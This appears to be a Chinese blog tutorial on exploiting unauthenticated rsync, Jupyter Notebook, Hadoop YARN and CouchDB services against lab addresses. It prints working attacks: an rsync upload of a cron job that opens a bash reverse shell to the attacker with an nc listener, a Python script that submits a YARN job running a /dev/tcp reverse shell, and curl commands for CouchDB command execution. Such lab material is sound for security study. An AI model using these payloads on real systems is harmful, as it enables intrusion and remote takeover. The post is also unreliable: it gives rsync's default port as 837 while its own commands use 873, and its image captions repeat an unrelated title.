文章目录

  • 1. rsync
  • 1.1 利用
  • 1. 下载文件
  • 2. 上传文件
  • 3. 上传文件拿shell
  • 2. Jupyter Noteboo
  • 2.1 利用
  • 3. hadoop
  • 3.1 利用
  • 4. CouchDB
  • 4.1 利用
  • 参考文章


1. rsync

Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

1.1 利用

1. 下载文件

rsync 配置多个共享目录_rsync 配置多个共享目录

rsync rsync://192.168.171.139:873/src/etc/passwd ./

rsync 配置多个共享目录_安全_02

2. 上传文件

touch test
rsync -av test rsync://192.168.171.139:873/src/tmp/succ1

rsync 配置多个共享目录_hadoop_03

3. 上传文件拿shell

需要在root权限下执行下面的操作:

echo  "* * * * * root bash -c \"/bin/bash -i >& /dev/tcp/192.168.171.1/9999 0>&1\"" > test

rsync -av test rsync://192.168.171.139:873/src/etc/cron.d

nc -l 9999

rsync 配置多个共享目录_后端_04

2. Jupyter Noteboo

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令

2.1 利用

rsync 配置多个共享目录_rsync 配置多个共享目录_05

rsync 配置多个共享目录_后端_06

3. hadoop

Hadoop是专为离线和大规模数据分析而设计的,是一个擅长大数据存储与数据分析的java编写的应用。

数据采用HDFS分片存储再不同的DateNode上,每个分片最大128mb,Datanode可以理解成一个机器。HDFS组件中还有一个NameNode,NameNode中记录了所有文件与其文件分片物理位置的对应关系。

用户读取文件的时候会访问hadoop服务器的一个虚拟路径,hadoop的HDFS组件中NameNode程序会根据虚拟路径来确定物理文件的映射,也就是物理文件的分片实际存储位置在哪些DateNode上。确定后再将需要访问的DateNode发送给客户端,客户端会依次访问并下载分片最终组成完整的文件。通过HDFS来实现海量数据存储。

hadoop使用MapReduce实现分布式计算。可以理解成Map就是任务,reduce就是将不同机器上的map任务执行结果进行汇总,每个机器上都可以分配map任务,这样就实现了分布式计算。

开启8088端口后我们可通过REST API来执行命令:

hadoop到底是干什么用的?HDFS存储原理

3.1 利用

rsync 配置多个共享目录_web安全_07

#!/usr/local/bin/python3

import requests

target = 'http://192.168.171.139:8088/'
lhost = '192.168.171.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

rsync 配置多个共享目录_web安全_08

rsync 配置多个共享目录_rsync 配置多个共享目录_09

4. CouchDB

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。

在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

4.1 利用

curl -X PUT 'http://192.168.171.139:5984/_config/query_servers/cmd' -d '"touch /tmp/123"'
curl -X PUT 'http://192.168.171.139:5984/vultest'
curl -X PUT 'http://192.168.171.139:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.171.139:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

rsync 配置多个共享目录_安全_10

参考文章

常见未授权访问漏洞总结